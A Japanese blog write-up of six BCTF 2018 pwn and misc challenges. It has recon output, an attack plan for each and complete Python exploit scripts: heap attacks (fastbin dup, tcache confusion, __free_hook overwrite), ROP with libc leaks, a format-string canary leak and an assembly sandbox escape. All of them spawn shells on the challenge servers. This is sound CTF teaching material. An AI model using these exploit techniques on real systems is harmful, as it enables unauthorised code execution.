BCTF 2018 Writeup (Pwn & Misc)
最近,作った問題の紹介しかブログでしてないですよねーって言われたから,久しぶりに Writeup を投下します.
BCTF2018 で解いた Pwn と Misc 問題です.
大会で私が解いたのは,easiest, SOS, houseofAtum, easysandbox の4問のみで,残りの three と hardcore_fmt はチームメイトが解いたのですが,ついでに載せておきます.
- easiest (Pwn 303pt, 47 solves)
- SOS (Pwn 625pt, 23 solves)
- houseofAtum (Pwn 714pt, 9 solves)
- easysandbox (Misc 540pt, 18 solves)
- three (Pwn 606pt, 14 solves)
- hardcore_fmt (Pwn 606pt, 14 solves)
easiest (Pwn 303pt, 47 solves)
Basic tech for pwner.
instance1: nc 39.96.9.148 9999
instance2 : nc 47.91.104.255 9999
下調べ
$ file easiest easiest: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=90da1fce24ce6087ff8baf8ed8265bace7c276b4, stripped $ checksec easiest [*] '/home/yutaro/CTF/BCTF/easiest' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000)
PIE が無効
プログラム概要
$ ./easist HI! 1 add 2 delete 1 (0-11):0 Length:100 C:hoge add success!
12個のエントリに対してデータの書き込みができる
サイズを指定して malloc で領域を確保し,書き込む
読み出す機能はない
delete してもポインタが消されないため,double free が可能
libcは配られていないが,2回連続で同じところをfreeすると死ぬため,tcache は無いと判断
400946: 55 push rbp 400947: 48 89 e5 mov rbp,rsp 40094a: 48 83 ec 10 sub rsp,0x10 40094e: 48 89 7d f8 mov QWORD PTR [rbp-0x8],rdi 400952: bf c4 0d 40 00 mov edi,0x400dc4 400957: b8 00 00 00 00 mov eax,0x0 40095c: e8 4f fe ff ff call 4007b0 <system@plt> 400961: c9 leave 400962: c3 ret
stripされているが,system("/bin/sh")
してくれる関数がいるから,ここにripを飛ばせば終了
方針
fastbin dup で fd 先を改竄し,バイナリ内の rw な領域が malloc で返るようにする.
stdin のアドレスが 0x7f で始まることを利用し,この1byte をサイズとみなせるように fdを addr_stdin -3
にする.
bssから確保したサイズ 0x68(0x70 byte) の領域に対して偽の stdout を作成する.
この偽の stdout の vtables 内に,system を呼ぶ関数のアドレスを仕込む.
同じ要領で,今度は stdout を書き換える.
GOT の最後のエントリである exit はまだ呼ばれていないため,その値は 0x40 から始まる.
exit の GOT の直下にサイズ 0x38(0x40 byte) の領域が確保できるので,stdout を偽の stdout を指すように書き換える.
Exploit
#!/usr/bin/env python from sc_expwn import * # https://raw.githubusercontent.com/shift-crops/sc_expwn/master/sc_expwn.py bin_file = './easiest' context(os = 'linux', arch = 'amd64') context.log_level = 'debug' #========== env = Environment('debug', 'local', 'remote') env.set_item('mode', debug = 'DEBUG', local = 'PROC', remote = 'SOCKET') env.set_item('target', debug = {'argv':[bin_file], 'aslr':False}, \ local = {'argv':[bin_file]}, \ remote = {'host':'39.96.9.148', 'port':9999}) env.select() #========== binf = ELF(bin_file) addr_shell = 0x400946 addr_got_exit = binf.got['exit'] addr_bss = binf.sep_section['.bss'] addr_stdin = binf.symbols['stdin'] addr_fake_stdout = addr_bss - 0x68 addr_list = addr_bss + 0x20 #========== def attack(conn): ez = Easiest(conn) ez.add(0, 0x68, 'a'*8) ez.add(1, 0x68, 'b'*8) ez.delete(0) ez.delete(1) ez.delete(0) ez.add(0, 0x68, p64(addr_stdin + (5 - 8))) ez.add(0, 0x68, 'c'*8) ez.add(0, 0x68, 'd'*8) ez.add(1, 0x68, ('X'*3)+p64(addr_bss+0x100)+('\x00'*0x48)+p64((addr_bss-0x10)-0x38)) ez.add(2, 0x38, 'A'*8) ez.add(3, 0x38, 'B'*8) ez.delete(2) ez.delete(3) ez.delete(2) ez.add(2, 0x38, p64(addr_got_exit + (2 - 8))) ez.add(2, 0x38, 'C'*8) ez.add(2, 0x38, 'D'*8) ez.add(3, 0x38, (('X'*6)+p64(addr_shell)).ljust(0x16, '\x00')+p64(addr_fake_stdout)) conn.sendline('1') class Easiest: def __init__(self, conn): self.recvuntil = conn.recvuntil self.recv = conn.recv self.sendline = conn.sendline self.send = conn.send self.sendlineafter = conn.sendlineafter self.sendafter = conn.sendafter def add(self, idx, size, data): if env.check('remote'): self.sendlineafter('delete \n', '1\n{}\n{}\n{}'.format(idx, size, data)) else: self.sendlineafter('delete \n', '1') self.sendlineafter('(0-11):', str(idx)) self.sendlineafter('Length:', str(size)) self.sendlineafter('C:', data) def delete(self, idx): if env.check('remote'): self.sendlineafter('delete \n', '2\n{}'.format(idx)) else: self.sendlineafter('delete \n', '2') self.sendlineafter('(0-11):', str(idx)) #========== if __name__=='__main__': conn = communicate(env.mode, **env.target) attack(conn) conn.interactive() #==========
SOS (Pwn 625pt, 23 solves)
nc 39.96.8.50 9999
下調べ
$ file SOS SOS: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=14c8a309bf031681a9ca5e57f3e3aad60b46bcbc, stripped $ checksec SOS [*] '/home/yutaro/CTF/BCTF/SOS' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)
PIE が無効
プログラム概要
$ ./SOS Welcome to String On the Stack! Give me the string size: 10 Alright, input your SOS code: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
入力が終わらない
方針
スタックに対して入力が途切れないので,Stack BOF は自明
スタックの底まで入力を続ければ,不正なアドレスへの read が呼ばれるので,入力ループを脱して ROP に繋げることができる.
PIE が無効なので,libc のアドレスを GOT からリークして,bss領域に stack pivot すればよい.
Exploit
#!/usr/bin/env python from sc_expwn import * # https://raw.githubusercontent.com/shift-crops/sc_expwn/master/sc_expwn.py bin_file = './SOS' context(os = 'linux', arch = 'amd64') # context.log_level = 'debug' #========== env = Environment('debug', 'local', 'remote') env.set_item('mode', debug = 'DEBUG', local = 'PROC', remote = 'SOCKET') env.set_item('target', debug = {'argv':[bin_file]}, \ local = {'argv':[bin_file]}, \ remote = {'host':'39.96.8.50', 'port':9999}) env.set_item('libc', debug = None, \ local = None, \ remote = 'libc-2.27.so') env.select() #========== binf = ELF(bin_file) addr_got_main = binf.got['__libc_start_main'] addr_bss = binf.sep_section['.bss'] addr_stack = addr_bss + 0xe00 addr_read_noend = 0x400aa6 libc = ELF(env.libc) if env.libc else binf.libc offset_libc_main = libc.sep_function['__libc_start_main'] #========== def attack(conn): conn.sendlineafter('size: \n', '1') rop = ROP(binf) rop.puts(addr_got_main) rop.call(addr_read_noend, [addr_stack]) rop.migrate(addr_stack) exploit = 'a'*0x38 exploit += str(rop) conn.sendafter('code: \n', exploit) while True: conn.send(p64(rop.ret.address)*0x40) if conn.can_recv(0.5): break addr_libc_main = u(conn.recvuntil('\n', drop=True)) libc.address = addr_libc_main - offset_libc_main addr_libc_str_sh = next(libc.search('/bin/sh')) info('addr_libc_base = 0x{:08x}'.format(libc.address)) rop = ROP(libc) rop.execve(addr_libc_str_sh, 0, 0) conn.send(str(rop)) conn.send('X'*0x100+'\n') #========== if __name__=='__main__': conn = communicate(env.mode, **env.target) attack(conn) conn.interactive() #==========
houseofAtum (Pwn 714pt, 9 solves)
Atum is Ne0's big brother. So Ne0 made this challenge to show his respect to Atum
nc 60.205.224.216 9999
下調べ
$ file houseofAtum houseofAtum: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=ac40687beee1b00aa55c6dc25d383a41fbfdb0e2, not stripped $ checksec houseofAtum [*] '/home/yutaro/CTF/BCTF/houseofAtum' Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled
プログラム概要
$ ./houseofAtum 1. new 2. edit 3. delete 4. show Your choice:1 Input the content:hoge Done! 1. new 2. edit 3. delete 4. show Your choice:1 Input the content:fuga Done!
メモを残せるサービス
new で作成ののち,edit で変更を加えたり show で内容を見たりすることができる.
ただし,作成できるエントリは2つまで
delete では,エントリを削除ののち,ポインタをクリアするか否かを選択できる.
つまり,UAF や double free が起こせる.
方針
一番大きな目標は libc のアドレスをリークすることにある.
それさえ叶えば,あとは free_hook を system にでも書き換えるだけで終了である.
ヒープ内から libc のアドレスをリークさせるためには,unsorted bins につながったチャンクの fd を読み出すのが手っ取り早い.
しかしながら,tcache が有効かつ確保されるヒープチャンクのサイズは 0x50 で fastbins の範疇で固定であるため,ひと工夫が必要である.
tcache でリンクに繋がれるアドレスはチャンクの先頭 +0x10 byte (ユーザ利用領域の先頭) であるのに対して,fastbins ではチャンクの先頭アドレスで繋がれることに着目する.
この差異を利用して,チャンクのサイズを改変することが可能になる.
fastbins の範囲を超える大きさのチャンクを見立てて consolidate into top することで,fastbins に繋がれるチャンクが malloc_consolidate()
によって unsorted_bins につなぎ直される.
このチャンクを指しているエントリを show することで,libc のアドレスを読み出せばよい.
Exploit
#!/usr/bin/env python from sc_expwn import * # https://raw.githubusercontent.com/shift-crops/sc_expwn/master/sc_expwn.py bin_file = './houseofAtum' context(os = 'linux', arch = 'amd64') # context.log_level = 'debug' #========== env = Environment('debug', 'local', 'remote') env.set_item('mode', debug = 'DEBUG', local = 'PROC', remote = 'SOCKET') env.set_item('target', debug = {'argv':[bin_file], 'aslr':False}, \ local = {'argv':[bin_file]}, \ remote = {'host':'60.205.224.216', 'port':9999}) env.set_item('libc', debug = None, \ local = None, \ remote = 'libc.so.6') env.select() #========== binf = ELF(bin_file) libc = ELF(env.libc) if env.libc else binf.libc offset_libc_malloc_hook = libc.symbols['__malloc_hook'] offset_libc_mainarena = offset_libc_malloc_hook + 0x10 #========== def attack(conn): th = Atum(conn) th.new(('a'*0x8+p64(0x51))*4) # 0 th.new(('b'*0x8+p64(0x11))*4) # 1 for _ in range(2): th.delete(0, False) addr_heap_base = u(th.show(0)) - 0x260 info('addr_heap_base = 0x{:08x}'.format(addr_heap_base)) for _ in range(5): th.delete(0, False) th.delete(1) th.delete(0) for _ in range(3): th.new('A'*8) # 0 th.new('B'*8) # 1 for _ in range(2): th.delete(0, False) th.delete(1) th.delete(0) th.new(p64(0)+p64(0x91)) # 0 th.new('B'*8) # 1 for _ in range(8): th.delete(1, False) addr_libc_mainarena = u(th.show(0)) - 0x60 libc.address = addr_libc_mainarena - offset_libc_mainarena addr_libc_free_hook = libc.symbols['__free_hook'] addr_libc_system = libc.sep_function['system'] info('addr_libc_base = 0x{:08x}'.format(libc.address)) th.edit(0, p64(0)+p64(0x51)) th.delete(1) th.edit(0, '/bin/sh\x00'+p64(0x21)+p64(addr_libc_free_hook)) th.new('B'*8) # 1 th.delete(1) th.new(p64(addr_libc_system)) # 1 conn.sendlineafter('choice:', '3') conn.sendlineafter('idx:', '0') class Atum: def __init__(self, conn): self.recvuntil = conn.recvuntil self.recv = conn.recv self.sendline = conn.sendline self.send = conn.send self.sendlineafter = conn.sendlineafter self.sendafter = conn.sendafter def new(self, data): self.sendlineafter('choice:', '1') self.sendafter('content:', data[:0x40]) def edit(self, idx, data): self.sendlineafter('choice:', '2') self.sendlineafter('idx:', str(idx)) self.sendafter('content:', data[:0x40]) def delete(self, idx, clear=True): self.sendlineafter('choice:', '3') self.sendlineafter('idx:', str(idx)) self.sendlineafter('(y/n):', 'y' if clear else 'n') def show(self, idx): self.sendlineafter('choice:', '4') self.sendlineafter('idx:', str(idx)) self.recvuntil('Content:') return self.recvuntil('\nDone!', drop=True) #========== if __name__=='__main__': conn = communicate(env.mode, **env.target) attack(conn) conn.sendline('cat ./flag') conn.interactive() #==========
easysandbox (Misc 540pt, 18 solves)
can you escape this very very strong sandbox?
nc 39.105.151.182 9999
問題概要
こちらからプログラムを送り付けて,サンドボックス内(?)で実行させるサービス
__libc_start_main
をフックして,seccomp を設定する共有ライブラリを LD_PRELOAD している.
seccomp の filter は次の通り
line CODE JT JF K ================================= 0000: 0x20 0x00 0x00 0x00000004 A = arch 0001: 0x15 0x01 0x00 0xc000003e if (A == ARCH_X86_64) goto 0003 0002: 0x06 0x00 0x00 0x00000000 return KILL 0003: 0x20 0x00 0x00 0x00000000 A = sys_number 0004: 0x15 0x00 0x01 0x00000000 if (A != read) goto 0006 0005: 0x06 0x00 0x00 0x7fff0000 return ALLOW 0006: 0x15 0x00 0x01 0x00000001 if (A != write) goto 0008 0007: 0x06 0x00 0x00 0x7fff0000 return ALLOW 0008: 0x15 0x00 0x01 0x0000003c if (A != exit) goto 0010 0009: 0x06 0x00 0x00 0x7fff0000 return ALLOW 0010: 0x15 0x00 0x01 0x000000e7 if (A != exit_group) goto 0012 0011: 0x06 0x00 0x00 0x7fff0000 return ALLOW 0012: 0x06 0x00 0x00 0x00000000 return KILL
呼べるシステムコールは read, write, exit, exit_group だけ
方針
__libc_start_main を呼ばない ELF バイナリを実行させる
解法
# gcc shell.s -masm=intel -nostdlib -o shell .intel_syntax noprefix .global _start _start: mov rax, 0x3b lea rdi, [rip+sh] xor rsi, rsi xor rdx, rdx syscall sh: .string "/bin/sh"
three (Pwn 606pt, 14 solves)
This is a baby challenge to warm you up for the harder one.
nc 39.96.13.122 9999
下調べ
$ file three three: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=340a44173cd2c079228c4207d1caa9b56a61407e, not stripped $ checksec three [*] '/home/yutaro/CTF/BCTF/three' Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled
プログラム概要
$ ./three 1. new 2. edit 3. delete Your choice:1 Input the content:hoge Done!
houseofAtum とほぼ同一(こちらの方が出題順は先だが)
エントリ数は3まで許容されるが,show機能が存在しない.
方針
兎にも角にも,libcのアドレスをリークさせたい.
houseofAtum に比べると,unsorted bins を利用してヒープ内に libc のアドレスを配置するのは容易である.
これを partial overwrite することで,libc 内に対して書き込みを行うことが可能になる.
リークを引き起こすために,stdout の _IO_write_ptr
を改竄する.
stdout の _flags は _IO_CURRENTLY_PUTTING
が元からセットされていたので,特に変更する必要はない.
libcのアドレスがわからないため,パーシャルで書き換えるにしても多少の brute force は必要である.
しかしながら幸いにして main_arena から stdout のターゲットまでの オフセットが 0xae0 byte
程度であったため,4bitの brute force で済む.
(大会中,12bit 必要とか言ってスマン この記事書きながら 4bit でいいじゃんってなった)
そんなこんなで libc のアドレスが漏れてくるので,あとは houseofAtum 同様に free_hook に system を書き込めばよい.
Exploit
#!/usr/bin/env python from sc_expwn import * # https://raw.githubusercontent.com/shift-crops/sc_expwn/master/sc_expwn.py bin_file = './three' context(os = 'linux', arch = 'amd64') # context.log_level = 'debug' #========== env = Environment('debug', 'local', 'remote') env.set_item('mode', debug = 'DEBUG', local = 'PROC', remote = 'SOCKET') env.set_item('target', debug = {'argv':[bin_file], 'aslr':False}, \ local = {'argv':[bin_file]}, \ remote = {'host':'39.96.13.122', 'port':9999}) env.set_item('libc', debug = None, \ local = None, \ remote = 'libc-2.27.so') env.select() #========== binf = ELF(bin_file) libc = ELF(env.libc) if env.libc else binf.libc #========== def attack(conn): th = Three(conn) th.new('a'*8) # 0 th.new('b'*0x38+p64(0x11)) # 1 th.delete(1) th.delete(0, False) th.delete(0, False) th.edit(0, chr(0x50)) th.new('a'*8) # 1 th.new('x'*8) # 2 th.delete(0) th.edit(2, p64(0)+p64(0x91)) for _ in range(8): th.delete(1, False) th.edit(1, '\x88\x87') # libc partial th.new('a'*8) # 0 th.edit(2, p64(0)+p64(0x61)) th.delete(0) th.new('\xff') # 0 conn.recv(5) libc.address = u64(conn.recv(8)) - 0x3ed8c0 addr_libc_free_hook = libc.symbols['__free_hook'] addr_libc_system = libc.sep_function['system'] info('addr_libc_base = 0x{:08x}'.format(libc.address)) th.edit(2, p64(0)+p64(0x51)) th.delete(1) th.edit(2, '/bin/sh\x00'+p64(0x61)+p64(addr_libc_free_hook)) th.new('a'*8) # 1 th.delete(1) th.new(p64(addr_libc_system)) # 1 conn.sendlineafter('choice:', '3') conn.sendlineafter('idx:', '2') class Three: def __init__(self, conn): self.recvuntil = conn.recvuntil self.recv = conn.recv self.sendline = conn.sendline self.send = conn.send self.sendlineafter = conn.sendlineafter self.sendafter = conn.sendafter def new(self, data): self.sendlineafter('choice:', '1') self.sendafter('content:', data[:0x40]) def edit(self, idx, data): self.sendlineafter('choice:', '2') self.sendlineafter('idx:', str(idx)) self.sendafter('content:', data[:0x40]) def delete(self, idx, clear=True): self.sendlineafter('choice:', '3') self.sendlineafter('idx:', str(idx)) self.sendlineafter('(y/n):', 'y' if clear else 'n') #========== if __name__=='__main__': while True: conn = communicate(env.mode, **env.target) try: attack(conn) except: conn.close() if env.check('debug'): break else: continue else: break conn.interactive() #==========
hardcore_fmt (Pwn 606pt, 14 solves)
nc 39.106.110.69 9999
下調べ
$ file hardcore_fmt hardcore_fmt: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=4211d00aacd7ec376353515ea3535062567d8d87, not stripped $ checksec hardcore_fmt [*] '/home/yutaro/CTF/BCTF/hardcore_fmt' Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled FORTIFY: Enabled
プログラム概要
最初に FSB があって,次に入力したアドレスの文字列を表示してくれて,最後に stack BOF するサービス(?)
.$ /hardcore_fmt elcome to hard-core fmt hoge %x %x hoge ffffffff ffffffff 0 (nil): (null)aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
方針
最初の FSB で何かしらのアドレスをリークして,libc や canary を特定しないことには stack BOF から ROP に繋げられない.
FSBはあるが, __printf_chk
であるため,%N$
に類するものは使えないことに加え,レジスタやスタックは -1 で埋め尽くされているため %x
は使えない.
%a
を投げつけると,double 型を引数として 16進法で表示してくれる.
これを利用すると,3つめのでld,4つめでtls のアドレスが漏れてくることがわかる.
libc と ld の相対位置は不変であるから libc のアドレスは求めることができた.
master canary は tls + 0x28
の位置に存在するため,文字列表示の機能を利用して特定できる.
あとは ROP をするだけ.
Exploit
#!/usr/bin/env python from sc_expwn import * # https://raw.githubusercontent.com/shift-crops/sc_expwn/master/sc_expwn.py bin_file = './hardcore_fmt' context(os = 'linux', arch = 'amd64') # context.log_level = 'debug' #========== env = Environment('debug', 'local', 'remote') env.set_item('mode', debug = 'DEBUG', local = 'PROC', remote = 'SOCKET') env.set_item('target', debug = {'argv':[bin_file], 'aslr':False}, \ local = {'argv':[bin_file]}, \ remote = {'host':'39.106.110.69', 'port':9999}) env.set_item('libc', debug = None, \ local = None, \ remote = 'libc-2.27.so') env.select() #========== binf = ELF(bin_file) libc = ELF(env.libc) if env.libc else binf.libc #========== def attack(conn): conn.sendlineafter('fmt\n', '%a%a %a %a') conn.recvuntil(' 0x0.') addr_ld_rw = int(conn.recvuntil('p', drop=True), 16)*0x100 - 0x100 info('addr_ld_rw = 0x{:08x}'.format(addr_ld_rw)) libc.address = addr_ld_rw - 0x61a000 addr_libc_str_sh = next(libc.search('/bin/sh')) info('addr_libc_base = 0x{:08x}'.format(libc.address)) conn.recvuntil(' 0x0.') addr_tls = int(conn.recvuntil('p', drop=True), 16)*0x100 info('addr_tls = 0x{:08x}'.format(addr_tls)) conn.sendline(str(addr_tls + 0x29)) conn.recvuntil(': ') canary = u64('\x00'+conn.recv(7)) info('canary = 0x{:08x}'.format(canary)) rop = ROP(libc) rop.system(addr_libc_str_sh) exploit = 'a'*0x108 exploit += p64(canary) exploit += p64(0xdeadbeef)*3 exploit += p64(rop.ret.address) exploit += str(rop) conn.sendline(exploit) #========== if __name__=='__main__': conn = communicate(env.mode, **env.target) attack(conn) conn.interactive() #==========